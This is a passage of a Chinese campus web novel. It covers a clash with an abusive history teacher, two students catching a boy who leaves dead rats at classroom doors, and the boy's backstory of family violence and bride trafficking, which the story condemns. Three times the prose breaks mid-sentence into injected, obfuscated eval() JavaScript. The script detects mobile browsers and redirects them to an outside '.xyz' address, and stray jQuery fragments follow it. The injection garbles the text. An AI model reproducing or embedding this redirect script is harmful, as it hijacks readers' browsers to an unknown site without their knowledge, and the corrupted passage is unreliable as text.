陈杉道:“这次我站林跃。小宴,你的状态真的是肉眼可见的差,晚上没好好休息吗?” 沈安宴道:“就是有一点特殊情况,完事儿了就好了……” 她说着说着,声音慢慢低了下去,脑袋已经倒在手臂上睡着了。 林跃头疼道:“又是这样又是这样,她到底怎么了?老班这几天都约谈过她好几次了!” 这几天沈安宴上课节节都睡,除了上厕所和吃饭,白天就没有清醒的时候。 陈杉道:“她不会是迷上什么游戏了吧,或者看小说?然后天天熬夜?” 贺晴天轻轻咳嗽了一声,朝两人比了个安静的手势:“好了,小声一点,让她好好休息吧。” 20. 吵架 沈安宴这段时间的异常,相熟的人基本都听说了。老师们头几天还会把她叫醒让对方认真听课,可惜效果不佳。再者对方成绩好,老师们也喜欢她,大都对此睁一只眼闭一只眼了。 只有历史老师例外,这位虽然课上得不怎么样,倒是有很强的自尊心,一但发现有人没好好听自己的课,定要大发一通雷霆。更何况有人敢公然在课上睡觉。 因此第一次发现沈安宴打瞌睡时,他直接把对方骂了个狗血淋头,言语之粗俗令班上同学频频皱眉。 沈安宴实在是困得不想说话,干脆就由着对方骂去了。但林跃可没这么好的脾气,见历史老师这通骂是真的没完没了了,她蹭地一下站了起来,冷声道:“你说谁脑子有病呢?我看最有病的人是你!” 这下可给本就焦灼的场面更是火上浇油。历史老师眼睛一瞪,气骂道:“没规矩的东西!你知不知道尊师重道怎么写?” “尊师重道要看这个师值不值得学生尊重,您扪心自问,自己对课堂的态度值得我们尊重吗?”贺晴天也快忍不下去了,见林跃起了头,也立刻站了起来助阵。 历史老师气得直哆嗦,他狠狠拍了一把桌子,犹不解气,竟直接拿起板擦朝贺晴天的脸上摔了过去。 班上同学发出一阵惊呼。 陈杉喊道:“班长小心!” 一只手稳稳地接住了那只板擦,没让贺晴天被砸到。 沈安宴站起身,将板擦搁到桌上。 她明白自己有错在先,因此历史老师骂她时也就默默忍着没有反驳。但现在朋友们都站了出来,她于情于理也不该再装鸵鸟。 沈安宴道:“上课睡觉是我不对,行,我不配做您的学生。以后历史课我不上了,您看可以吗?” 她这话说的客客气气,却让历史老师肚中的怒火越烧越旺。 历史老师指着她骂道:“什么玩意儿!你以为你考个第一就能翻了天了!我告诉你,没用!以后还不是被男人……” “苟老师。” 一道沉静从容的声音打断了他。 历史苟老师吓了一跳,忙转头看了过去。 姜鹤正站在门外。 她腰背笔直,面容平和,但看向对方的眼神却格外锐利。 “我觉得我们需要谈一谈,你先出来吧。” 历史老师的面色有一瞬间的灰败,他缩了缩脖子,低头走出去了。 等两位老师一走,班里瞬间沸腾起来。 陈杉朝林跃竖起了大拇指,直拍着大腿赞叹:“我靠!林跃,太帅了!” 这话一出,周围人也纷纷炸开了锅。 “太勇了,简直是我女神!” “我天,我当时都快被那狗东西给气死了,林跃简直是我嘴替,爽爆了啊!” “班长你太帅了,那一通怼的,简直说出了我两年以来的心声!” “那傻吊还敢砸你,怎么,恼羞成怒了?被戳中痛脚了?” “那玩意最后说的话也莫名其妙的,小宴考第一跟男的有什么关系?” “狗东西发神经也不是一天两天了,忌度小宴考第一呗。” 在大家热热闹闹的吐槽大会中,林跃凑近沈安宴,小声教训道:“你这性子也太软了吧,就这么任由那傻吊骂你?” 沈安宴笑着说道:“是是,你教训的对,下次不会了,我一定会像林女神一样骂回去的!” 林跃抬起下巴笑了笑,对这个回答格外满意。 贺晴天也笑着道:“不要太在乎什么规矩不规矩的,遇到不公平就要反抗,没有白白让自己吃亏的理。” 大家骂够了傻吊,有人一拍脑袋,忽然问道:“哎,你们说这么一闹,咱们是不是能换历史老师啊?” 这话一出,大家的兴致更高了。 陈杉双手合十,祈祷道:“求求了,赶紧换吧,下学期就高三了,能不能找个靠谱点儿的老师来啊。只靠自学真的很慌!” 大家掬一把辛酸泪,对这句话很难不认同。 沈安宴打了哈欠,她睡了两节课,觉得现在状态好了一点儿,闻言突发奇想,从座位上站了起来。 “这件事毕竟是我引起的,让大家白白浪费了一节课。”沈安宴说道。 林跃道:“你这说的又是什么怪东西,明明是那狗玩意儿没事找事。” 陈杉也附和道:“而且历史课本来也没几个人听,就是要浪费掉的。” 沈安宴轻咳一声,笑着道:“我的意思是,要么让我来给大家上这节课,也算是感谢你们的仗义执言了。” 此言一出,大家都乐了。陈杉率先鼓掌道:“快快快,小宴老师,快请!” 剩下同学也跟着一起起哄。 沈安宴便走上讲台,有模有样地翻开历史书,给大家开始讲课了。 这一板块讲的是诗词发展历程,专业性不强,又恰好是沈安宴拿手的部分。她的知识面很广,一边根据课本的思维导图给大家梳理诗文词曲的发展脉络,一边引经据典,赏析和趣谈穿插其中,一堂课上得妙趣横生。 大家刚开始只是抱着听个新鲜的态度去听的,结果逐渐真的被吸引了进去,直到铃声响起才反应过来要下课了。 不知是谁先起的头,大家一起给出了最热烈的掌声。 陈杉有模有样地抹着眼泪:“两年了,两年了,我终于听到一节正经的历史课了。” 林跃也卖力地鼓着掌,笑着喊道:“我看不用找新老师了,直接让小宴来当吧!班班,你同意不?” 贺晴天笑道:“那肯定同意,支持盛宴当一班历史老师!” 大家跟着一起喊道:“支持盛宴当一班历史老师!” “哎哟哟,支持盛宴当一班历史老师!”江小松刚一推门进来就见着了这一副热闹场景,也跟着喊了一句。 沈安宴从讲台上下来,笑着说道:“谢谢大家的认可,不过新老师还是要找的,不能给学校省钱啊。” 大家又嘻嘻哈哈地笑了起来。 江小松道:“哎,那傻吊今天犯的什么病?” 林跃道:“你们班也知道了?” 江小松道:“那么大声音呢,门又开着,我们班又不是聋子。对了,老姜还是我们找来的呢!” 二班上节课是政治课,政治老师的课堂氛围一向活跃。他给大家讲完了核心概念,就开始练题了,题目都紧跟时事,妙梗频出,逗得大家时不时就要笑一会儿。 直到隔壁班传来一声怒吼:“盛宴,你给我起来!” 班级里霎时间安静了一瞬。 政治老师也熄了声,同学们都瞪大了眼睛,前排几个也伸长了脖子往门口看。 “一天天的就知道睡!啊!怎么不把你睡死了呢?有没有个女生样!你看看你周围,有哪个女同学跟你一样,恶心玩意儿,我看见你这烂样子真是想吐出来……” 江小松踹了一脚桌子,从座位上站起来就要往外走:“傻叉玩意儿,谁给他的脸这么骂人……” 政治老师这才回过神来,忙提醒道:“哎哎哎,小松,正上课呢!” 同桌一把拉住了对方,劝解道:“还没搞清楚是什么情况呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210351|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这么直接出去万一把事情弄得更遭了怎么办?” 江小松气道:“还什么什么情况?情况不明显吗,就是那狗东西没素质骂人!” 同桌道:“莫生气莫生气,咱们先观察一下,找合适的机会再出手……” 李欣然没江小松那说干就干的胆子,但也听不得隔壁班老师骂的话,忍不住说道:“也太过分了吧,好好说不行吗?” 政治老师离她近,又是年轻人,本就不喜欢老教师爱摆架子的姿态,闻言也赞同道:“就是就是。” 他听着隔壁越来越过分的话,忍不住搓了搓胳膊:“我一直觉得苟老师挺恐怖的,整天摆着张脸,阴沉沉的,怎么还这么……” 江小松接道:“没素质!” 政治老师不好意思说同事的坏话,但听了这个评价也没反驳。他又道:“而且盛宴同学聪明性格又好,也没做什么太过分的事。上课打瞌睡嘛,你们本来每天睡觉时间就少,这也是难免的事,真没必要这么计较。我就从来不说在我课上睡觉的学生。” 有学生听了说道:“老师你的课这么有意思,就是让我们睡我们也不睡。” 政治老师听了这话,心里有点小得意起来。 江小松道:“不行,我忍不下去了,我现在就要过去跟他干架!” 政治老师道:“哎!这可不行!” 私底下骂骂就算了,真要闹起来,学校难免会算他一个监管不力的责任。 但他又不想破坏自己在学生面前营造出来的“人淡如菊”的形象,只好委婉道:“你一个去,势单力薄的,万一吵不过怎么办?” “那我和她一起。” 有人接道。 政治老师回头看去,就见一向最令人放心的顾辞江竟然站了出来。 对方说完这句话,就要往隔壁班走。江小松也不甘落后,加快脚步跟了上去。 政治老师真是哑巴吃黄连,有苦说不出,正急着该怎么把两人劝住,就听见隔壁响起了一道更大的声音。 “你脑子才有病!” 正是忍无可忍的林跃。 眼见有人先占出来了,二班的两位暂且就先用不上了。政治老师刚松一口气,又见对面越来越剑拔弩张的氛围,忙让江小松和顾辞江去找人过来劝架。 “噢——难怪呢,我说老姜怎么突然来了,原来是你们找的。”林跃恍然大悟。 江小松说完了前因后果,又朝沈安宴比了个大拇指。 “干得漂亮宴儿,我估计咱们这回一闹腾,历史老师八成是要换定了。” 陈杉闻言也高兴地眯起眼睛笑了。 贺晴天提醒道:“话别说太满,万一没换成呢?” 江小松道:“没换成就没换成,反正把咱们这两年来的恶气出了一口,也不亏!” 沈安宴等她们聊完了,方才问道:“那个,顾辞江当时也要来吗?” 江小松道:“噢,对,现在想想还怪震惊的。他一直是老师们心目中的乖学生,连那狗东西对他态度都挺好的。这次竟然愿意主动跟我一起来骂架,还挺稀奇。” 沈安宴“嗯”了一声。 大家愿意来帮她,她自然高兴,但知道顾辞江也在其中,高兴之余,她感觉自己像是吃到了一只甜果子,心里边儿软乎乎的。 林跃一眼就看出来对方在那儿傻笑什么,她有点不服气,把沈安宴的脸掰了过来。 “喂喂,我才是第一个帮你出头的,你可别见色忘友啊!” 沈安宴笑道:“是是是,哎,我周末请你们一起吃饭吧!” 21. 守夜 一班历史课的事儿闹得还挺大,陆舟在七班都听说了。 当然,和老师干架这事儿对他们后两个班而言只是洒洒水,真正让他们稀奇的,是干架双方竟然是重点班的老师和学生,主角之一还是年纪第一。 那就有意思多了。 陆舟听明白了前因后果,先骂了一句那老师真是没事儿找事儿,就跑一班去了。 事情是下午才传出来的,这会儿今天最后一节课已经上完了,正是晚饭休息的时间。 沈安宴早上那节历史课已经用光了今天所有的精力,此刻正爬在桌子上睡觉。 林跃她们还没回来,倒是贺晴天早早吃完了饭,正坐在位子上写作业。 见陆舟过来,她朝对方比了个“嘘”的手势,又指了指沈安宴,低声道:“小声一点,她还在睡觉。” 陆舟点了点头,站的地方离沈安宴远了些,然后才压低声音问道:“哎,晴天,我听说你们班早上的事儿了,大家传的乱七八糟的,所以到底是个什么情况?” 贺晴天便将事情的经过简单说了一下。 陆舟听完有点生气:“那老师真有……咳,总之你们放心,他待不了多久了。” 贺晴天道:“肯定的,反正事情已经闹出来了,那就干脆闹大,我们早看不顺眼他很久了。” 两人就这件事聊了几句,陆舟又问道:“盛宴最近怎么了?我每次来都见她在睡觉,学校里又睡不好,怎么不请假回家去睡?” 贺晴天忍不住看了对方一眼。这话要是别人来说,指不定会被当成阴阳怪气。不过陆舟这种没心眼的,大概是真心这么认为。 贺晴天道:“我也不清楚,她应该有自己的想法。” 陆舟道:“她一天到晚就这么睡着,吃饭怎么办?我去给她买……” 他话说一半,就见一个人提着饭盒进了教室。 陆舟的话头忽然止住了。 来人正是顾辞江。 气氛忽然变得有些微妙起来。 顾辞江瞥对方一眼,脸上没露出什么明显的情绪。他从容地将饭盒放在了沈安宴桌上,又向贺晴天道:“我把饭放这里了,等她醒了能麻烦你提醒她吃一下吗?” 贺晴天点点头,应了声“没问题”。 陆舟却忽然笑了笑,朝顾辞江道:“麻烦你了。” 顾辞江看向对方,语气平淡道:“用不着,又不是给你带的。” 陆舟道:“噢,不用分这么清,盛宴的事就是我的事。我离得远,偶尔没顾得上。以后不用你费心了,我来就好。” 气氛一时陷入了凝滞。 贺晴天停下笔,心道这事儿跟我又没关系,我这么紧张做什么。 她瞄了一眼身旁睡得安稳的同桌,忍不住在心里吐槽:你倒是舒坦了,留我一个人面对这尴尬的局面。 若是以前的顾辞江,遇到这种情况大概会直接掉头走人。但现在不一样了。 他反问道:“盛宴知道她的事就是你的事吗?” 陆舟沉了脸色,没有回答对方这句话。 顾辞江露出了一个温和的笑容。 “你和她什么关系我不在乎,不过我确定的是,盛宴很愿意让我的事变成她的事,所以……” 他将对方先前说过的话又原封不动地还了回去。 “以后不用你费心,我来就好。” 顾辞江说完那些话就离开了。 陆舟看起来心情很不好,他盯着对方拿来的饭盒看了一会儿,非常想把这碍眼的秽气玩意儿丢掉。 但碍于贺晴天还在跟前坐着,他不好做这种跟绿茶心机吊似的掉价的事情,只得默默忍下这口气,然后给自己找补。 “盛宴肯定不喜欢吃这些。”他说道。 贺晴天有点尴尬,她想了想,决定顺着对方来:“咳,应该是。” 陆舟高兴了:“哼,他懂什么,我去给盛宴重新买一份。” 于是等沈安宴醒来时,就看到自己桌上忽然多出了一大堆食物。 她刚准备伸的懒腰又立刻缩回去了。 “……这些,都是什么?” 沈安宴指着那一堆吃的,有点茫然地问道。 贺晴天道:“呃,盖浇饭是顾辞江送的,剩下的都是陆舟拿过来的。” 沈安宴看着那些琳琅满目快把她小半个桌子占起来的盒饭小吃,有点心累地扶了扶额头。 “他俩觉得我是饕鬄吗,可以解决这么多吃的?” 林跃转过来,手上还品尝着一块小蛋糕。 “噢,陆舟不仅给你送了,给咱们全班还都送了奶茶和蛋糕,嘿嘿,还挺好吃的。这回真是沾了你的光了。” 沈安宴看了看左右,大家基本人手一块蛋糕,简直像是在办什么元旦晚会。 她感觉有些不妙,这么猖狂的,把看晚自习的老师放哪里? 沈安宴朝讲台看去,就见政治老师也抱着杯奶茶在喝,跟她对上视线,还笑嘻嘻地冲她指了指手边的小蛋糕。 ……那没事儿了。 下晚自习后,沈安宴等同学们离开,确认过没人再回来后,方才关掉了电源。 教室里霎时陷入一片黑暗。 沈安宴轻手轻脚地走到了靠角落的位置坐下。前排靠着窗户,借着月光,可以看清一点东西。不过从窗户透进来的光恰好错开了她,不至于被人轻易发现。 沈安宴靠在椅背上,闭眼倾听着教室外的动静。她白天睡够了,现在精神很足,即使闭着眼睛也不会犯困。 没过多久,有脚步声在走廊上响起。 沈安宴瞬间睁开了眼睛。 这么早? 她心下有些意外。 但那步声沉稳,从容,并不像做贼心虚会有的,沈安宴注意听着,发现那脚步似乎正是朝着自己班的方向。 后门被人推开了,沈安宴转头看去。 月光下,少年高挑的身影被清晰地勾勒出来,正是沈安宴所熟悉的。 是贺晴天。 对方似乎并不意外,她走进班里,随手将门关上。 “你怎么还在教室里待着?”贺晴天走到沈安宴跟前,坐在了对方身侧的位置。 沈安宴道:“这话该我问你吧?都快十二点了,怎么又回教室了?” 贺晴天道:“还不是因为你。这几天走的晚,来的早,还天天打瞌睡。我就打算今晚来教室看看,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248039|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不,就被我逮住了个现行。” 左右已经被对方发现了,沈安宴也不打算瞒着,跟对方说了自己的打算。 贺晴天若有所思:“有点道理,也是个办法。但小宴,专业的事要交给专业的人去做,你哪怕和学校商量雇个私家侦探呢。如果一直抓不到那人,你就准备天天这样熬着吗?” 沈安宴道:“快了快了,据我推测,那人估计就会在这几天有动作……” 贺晴天还想再劝,却见对面忽然比了个安静的手势。 外面又有声音响起了,这次的脚步声迟疑,虚浮,走一会儿还要停一会儿的。 沈安宴轻轻笑了,她悄声道:“你还真是个福星,一来就能开出奖。” 贺晴天道:“这算什么福气……行吧,你说算就算。那咱们过去看看?” 两人轻手轻脚地走到门边,透过玻璃窗朝外看去。 走廊尽头显现出一个肥大的身影,穿着黑色的连帽衫和长裤,手上还提着一只布袋。 他每走到一个班级前,就要从袋子里取出什么放到门前。 贺晴天道:“那是什么……” 沈安宴根据前两次的经验,推测道:“估计又是什么动物尸体或者肉块。” 贺晴天露出了一个“好恶心”的表情。 沈安宴道:“晴天,你去前门守着。我估计他要一个班一个班的放那些东西。等他放到我这里,咱们前后包抄把他抓住。” 贺晴天比了个“ok”的手势,放轻步子去了前门。 ———— 狗尾巴怎么也想不到,深更半夜的学校里竟然还会有人专门蹲他的点儿。 当他将一只死老鼠从包里捏出来,充满恶意地幻想着第二天看到这些东西的同学会发出怎样惊恐的尖叫,同时往一班后门口放时—— 门忽然被打开了。 他那一瞬间好像变成了自己手中的老鼠,在暗中待久了,忽然遇到刺眼的强光,一时间整个身子都木了。 大脑一片空白,他害怕到连动都不敢动,直到对面的少年一脚踹到他肚子上时,疼痛方才刺激清醒了他的大脑,他匆忙丢开袋子跑了起来。 慌不择路下,他没有注意到路上突然伸出的脚,被绊了一个趔趄,身子向地面扑了上去。 大概是怕他逃走,有人拿脚踩住了他的小腿,又有一记手刀劈在了他的脖颈处。狗尾巴眼前一黑,彻底晕了过去。 ———— 见对方不会再有逃走的可能后,贺晴天方才将自己的脚从对方身上挪开。 她有点厌恶地将脚底在地上蹭了蹭——刚刚不像是在踩人的腿,而是踩到了一滩烂泥,实在叫人心里膈应。要不是事出紧急,她才不愿意碰对方一下。 沈安宴也是这样想的。爬地上的这人实在是世所罕见的肥胖,她刚刚一脚踹上去时,就像是踢到了一团水球,愣是没把控好力道,不然才不会让对方有机会逃走。 闹出的动静有些大,巡夜的安保人员很快找了过来,手电筒耀眼的白光打在了她们身上。 “哎哎哎!干什么呢干什么呢——我去!这是什么!” 安保人员被散落在地上的老鼠尸体吓了一大跳。 22. 妈妈 姜鹤半夜三更睡得正熟呢,就被一通电话给催醒了。 她将放在床头的眼镜摸到戴上,起身接通了电话。 “喂,是姜女士吗,请到警察局来一趟。” 姜鹤瞬间就清醒了。 ———— “妈,都这么晚了,你要去哪儿啊?” 姜暖听到屋外的动静,打开房门见着正匆匆披外套拿车钥匙的姜鹤,忙开口问到。 姜鹤道:“班上学生出了事儿,要到警察局一趟。” 姜暖瞪大眼睛:“什么事儿啊,还闹到警局去了?我陪你一起。” 姜鹤道:“不用,你还怀着身子,晚上出去多操心的。” 姜暖是姜老师的独生女,今年刚怀孕,已经有两个多月了。 姜暖道:“又不是八九个月了,出去一趟没什么的。” “伯母说的对,我去吧,小暖你放心好了。” 隔壁房门被打开了,一个扎着低马尾的年轻女人走了出来,身上已经换好了方便出行的卫衣长裤。 姜暖道:“那也行,林鹿,你跟妈开车的时候记得注意安全啊。” 林鹿点了点头,跟着姜老师离开了房子。 到了警局门口,车子刚一停稳,姜老师就打开车门走了下去。 林鹿也从驾驶位离开,锁好车子后,跟上姜老师一起进了局子。 刚到门口,两人就听到了一阵怒骂,还有男生哭泣的呜咽声。 “打死你个不成器的玩意儿,给老子丢人现眼的……” 一个矮小黝黑的中年男人卷起袖子,抬手给了对面的男学生一巴掌,骂人时唾沫星子横飞,一巴掌扇完,中年男人还要再打。 有警察看不下去,出声制止道:“行了!有什么事不能好好说,别打孩子。” 那中年男人霎时没了打人时的威风,弯腰驼背地向警察点头赔不是。 不远处站着沈安宴和贺晴天两人,还有被一同带来的安保人员。 姜鹤看了她们一眼,确认过自己学生没有受伤,方才走上前同工作人员交涉。 她刚刚在电话里只了解到一个大概,此时到了警局,才知道了事情的前因后果。 在警察复述途中,年级主任和七班的班主任也接到通知来了这里。几人听完了事情的全程,各自表情不一。 姜老师说:“我等会儿会说她们的,这事儿做的是有点冲动了。至于剩下的问题,跟我们班的学生就没关系了。” 年级主任忙道:“是是,姜老,后续的问题我会处理,麻烦您大晚上的跑一趟了。” 姜老师摆摆手,转身去看自己班的学生了。 七班班主任一副头大如斗的表情,小心翼翼地说道:“那个……主任,您看这事儿该怎么处理?” 后两个班的情况主任也清楚,本来就是个棘手的活儿。因此她没太难为对方,只说道:“让那位同学先回家待几天,等学校商讨该怎么处理。” 七班班主任见没自己的责任,不由松了一口气,忙“哎”了好几声,去通知主任的意思了。 虽然罪魁祸首被抓住了,但对方做的事说到底并没有违法犯罪,只是道德上有瑕疵。警局批评教育了一番,也没有做出更多处罚。 沈安宴对此有些愤愤不平,但也知道这是没办法的事儿。哪怕是在未来,对于虐待动物的事件,尽管社会对此强烈谴责,但官方也没能商讨出什么合适的律法进行惩治。 后续的事用不着再操心了,姜老师就要操心自己这两人胆大包天的学生了。 她走到二人面前,把这两个兔崽子打量了一番,问道:“这事儿是谁先起的头?” 沈安宴率先道:“是我干的,班长是来劝我走的,结果刚好碰到那个来放老鼠的人。” 贺晴天也跟着说道:“那个人我也打了。” 姜老师被气笑了,她点了点两个人:“认错不积极,揽事儿倒是一个比一个积极。” 沈安宴嘀咕道:“我觉得没错。” 姜老师眉头一竖:“没错?这回是你们运气好,没遇到危险。要是来的人拿着刀,或者别的什么东西,你们该怎么办?受伤了怎么办?” 贺晴天道:“老师,我们错了,下次会谨慎行事的。” 沈安宴也没再犟嘴,乖乖认了错。 姜老师没再多说什么,转而朝沈安宴问道:“所以这几天你上课睡觉,就是为了这个事?” 沈安宴点了点头。 姜老师道:“不够妥当。” 沈安宴瘪了瘪嘴。 姜老师看她一眼,笑道:“但话又说回来,本心毕竟不坏。从这件事也能看出来,是个胆大心细,有责任心的好孩子。下次多注意些就好了,有勇有谋才是英杰,光会闷头乱干的,那是莽夫。” 沈安宴闻言高兴了,朝对方笑了起来。 姜老师说完她,又看向贺晴天:“你也是,能发现同学的不对,及时阻止,又帮忙合作抓住坏人,也做得很好。” 贺晴天闻言也摸着脑袋笑了。 该说的说完,该夸的夸完,姜老师道:“今天很晚了,我给你们放个假,明天就在家里休息一天吧,恢复恢复精神。” 见两人点头,她方才问道:“待会儿你们怎么回去?” 贺晴天道:“我妈妈来接我了,应该马上就能到。” 沈安宴道:“我打车回去。” 贺晴天闻言有些意外,她问道:“你家长……” “咳。” 姜老师打断了对方的话,说道:“我开车来的,等会儿我送你回去吧。” ———— 狗尾巴跟着父亲回了家。 他们家住在一个破败的筒子楼里,楼梯上最不缺的就是垃圾。墙壁上贴满了小广告,灯泡时灵时不灵的,晃得人眼睛都要瞎了。 他低着头,不敢看父亲的眼睛。 进了家门,走在前方的父亲忽然停下了脚步。 狗尾巴觉得身上的血凉了一瞬,他轻轻颤抖起来,意识到了接下来会发生什么事情。 一个巴掌甩在了他的脸上。 他的半张脸瞬间红肿起来,大脑嗡鸣一片。 雨点般的拳头落在了他的身上。 耳边是男人粗鲁的叫骂。 “打死你个狗玩意儿……” “活腻歪的东西……” “当初就不敢生你……” 狗尾巴抱着脑袋,心里想着,都怪妈妈。 都怪妈妈,要是她没跑,现在挨打的才不会是他。 ———— 狗尾巴刚生下来的时候,日子过得还算不错。 他是家里唯一的男孩,是传宗接代的香火,是父亲的“根”。 他最初的家在一个封闭的小村子里,那里的人信奉男孩为根,拼了命也要生下一个男孩。 女婴被一个个溺死,村口的长河不知埋葬了多少鲜活可爱的生命。 女人在这里的地位极差,狗尾巴懂事后,很快就意识到了这一点。 他无师自通地明白了,他是个男孩子,天生就要比女人高贵一头,女人是可以随意欺负的,比如周围人家的媳妇女儿,比如他的妈妈。 村子里男人多,女人少。为了绵延香火,时不时就有一些女人从外面被送过来。 她们衣着光鲜,头脑聪明,刚来这里时总是大吵大闹,说一些狗尾巴听不懂的话。 他冷眼看着,左右这些人要么会慢慢被调教成一个“好媳妇”该有的样子,要么就是死,和那些女婴一样,葬生在门口那条长河中。 狗尾巴的妈妈不一样。 他的妈妈不是外面来的“不规矩的疯女人”,而是本地土生土长的女人,妈妈的娘家人精明,他们知道,养一个姑娘花不了多少钱,每天喂一点点粮食,长大了换彩礼——村子里缺女人,这桩买卖稳赚不赔! 他的妈妈没有名字,没被卖掉前,人们叫她“杨家的”,卖掉后,叫她“王家的媳妇”。 不过这样的日子并不长久,狗尾巴八岁那年,村子里来了更多“外面的女人”。 那些女人和被买来的女人不一样,她们穿着黑色的衣服,面容刻板严肃,将村子里的人都抓了起来。 狗尾巴听到了“拐卖”、“犯罪”一类的字眼,还有“谋杀”、“遗弃”等词。 村子里的老公公和男人叫嚷着。 “我们自己家的事儿,轮不着你们来管!” “我杀把个丫头怎么了?老子的种,爱怎么着怎么着!和你们有屁关系!” “怎么了!我买来的老婆,想打就打,咸吃萝卜淡操心!” 这些人后来都死了。 狗尾巴在电视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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父亲矮小,黝黑,粗鲁,却让他觉得分外可靠。 尤其是父亲因为一点小事,动辄打骂妈妈时,才能让狗尾巴找到一点旧时身为男人的优越感。 他满怀恶意地注视着妈妈,就像那些男同学幸灾乐祸地注视着他自己。 直到有一天,妈妈私下里突然对他说—— “我想走。” 狗尾巴愣住了。 走?什么走? 他心里忽然涌出一股没由来的害怕。 他像是才明白了,原来被打的女人,不是只有默默忍耐,或者不堪忍受去跳河这两条路可选。 她们竟然还能走?她们竟然还能跑? 这可怎么行! 妈妈走了,那挨打的不就轮到自己了? 狗尾巴深爱着父亲,却比妈妈还要了解父亲。 他像是忽然对妈妈有了极深的感情,跪下来痛哭流涕地述说着自己有多么爱妈妈,恳求妈妈不要走。 妈妈呆滞的眼珠子缓缓转了转,最后还是点头了。 从那天起,狗尾巴就像变了个人似的,对妈妈嘘寒问暖,偶尔还会主动去打扫卫生。 妈妈似乎也觉得孩子长大了,有时受了委屈,也会试着向自己这个男儿子倾诉。 狗尾巴敷衍地听着,嘴上说着您真是辛苦了,真是不容易。 心里却想着,屁大点儿事都要说,真烦。 这么想着,下一次妈妈哭着说自己有多么不容易时,他忍不住就说漏嘴了。 “说完了吗,什么时候去做饭?” 话一出口,狗尾巴心说遭了。 对面的妈妈停了倾诉,呆呆地看着自己这个男儿子。 狗尾巴忙找补说自己不是有意的。 妈妈看了他一会儿,笑着点了点头,说我知道。 狗尾巴放心了,女人嘛,脑子简单,哄一哄什么事儿就都过去了。 然而第二天他起床时,却发现妈妈不见了。 之后她再也没回来。 狗尾巴的好日子到头了。 从那天起,家里被劳役、被欺凌的对象换成了他。 狗尾巴忍受着父亲的拳打脚踢,心里止不住地后悔难过。 怎么当初就没有早点儿发现妈妈的不对,如果他早知道,绝不会让妈妈那么容易离开的。 他不愿意怪父亲,毕竟父亲是在这个世界上,他唯一的男性同盟。 他是他的敌人,也是他想成为的人。 要怪就怪妈妈吧,就不能忍忍吗?为了孩子,为了婚姻……有那么多理由可以当止痛剂呢——反正,当媳妇儿的不都是这么过来的吗? 23. 备考 “哎?班长和盛宴今天怎么都没来?”陈杉问道。 虽然早读开始的时间是七点半,但年级上要求学生们必须七点到教室。陈杉最讨厌这规定,向来都是踩点到。平时她进班,同学们基本都到了大半,尤其是贺晴天和沈安宴这两个,一直是来的最早的。今天到教室没看到两人,陈杉颇觉意外。 林跃道:“我也不清楚。是请假了吗?” 陈杉道:“这么巧?同桌两个一起请了?” 有人听了猜测道:“会不会是昨天历史课上的事儿,她们被叫去谈话了?” 林跃道:“那肯定得把我也叫上。” 跟贺晴天同宿舍的同学插嘴道:“盛宴不太清楚,不过晴天我知道。她昨天晚上说有事要出去一下,我们也没太在意,结果今天早上醒了才发现她竟然一晚上都没回来。” 林跃惊道:“什么?你们没去找她吗?” 陈杉也急道:“你们没跟老师说吗?万一她是遇到什么……呸呸呸,不说这个不说这个。” 舍友解释道:“她走的时候跟我们说过,要是一时半会儿没回来不用管直接睡,给她留个门就行。我刚也发消息问她了……” “说什么呢?”姜老师不知什么时候进来了班里,见林跃这边聊得火热,便走过来问道。 林跃忙问道:“老师,班长和盛宴今天怎么没来?” 姜老师道:“噢,她们两个今天请假了。” 得到确定的消息,林跃这才放下心来。 见人到齐了,姜老师走上讲台,拍拍手道:“大家先停一下,我这儿有两件事要跟你们说。” 大家停了诵读,抬头看向班主任。 姜老师道:“第一件大家应该心里也有谱,就是历史老师的事。” 同学们微微骚动起来,互相交换了一个眼神,又向老师看了过去。 姜老师道:“经过学校讨论,年级上决定让祁白祁老师往后来带咱们两个班的历史,祁老师应该有同学认识吧?是返聘回来的老教师,跟我年纪差不多,你们上她的课记得乖一点儿,别惹人家老师生气。” 姜老师话音刚落,教室里瞬间爆发出一阵欢呼。 其中数陈杉的呼声最大,她激动地拍手笑道:“太好了,终于换了!我终于能好好上历史课了!” 林跃听了也高兴:“只要不是那老登来教就行!” 有人向左右打听询问:“祁老师是谁?有人认识吗?” 有消息灵通的同学便科普道:“祁白老师,那可是得过省级优秀教师奖项的老牌教师,我自学历史的时候看过她的公开课录屏,讲的那叫一个好!没想到学校竟然能请来她给咱们带课!” 大家知道了这位老教师的厉害,一时间更激动了。 姜老师等大家高兴完,这才说起了下一件事。 “前段时间学校发生了两件非常恶劣的事,大家应该还记得吧?” 这个消息就有些严肃了,大家脸上的笑容收敛了些,正色起来听课。 姜老师道:“目前大家不用担心,事情的罪魁祸首已经被找出来了,这里不方便多说,后续学校应该会开年级大会专门说这件事。” 这可比历史老师的事重要多了,大家和左右前后的同学小声议论着,猜测着究竟是怎么一回事。 姜老师清了清嗓子,补充道:“之所以把这件事单独拎出来说——之后年级大会上应该也会提到,我就提前透露一下了。” 听出来还有内幕,大家立刻止了交谈,安静听老师讲了。 姜老师道:“这个人,是咱们班的盛宴同学和贺晴天同学一起抓住的。” 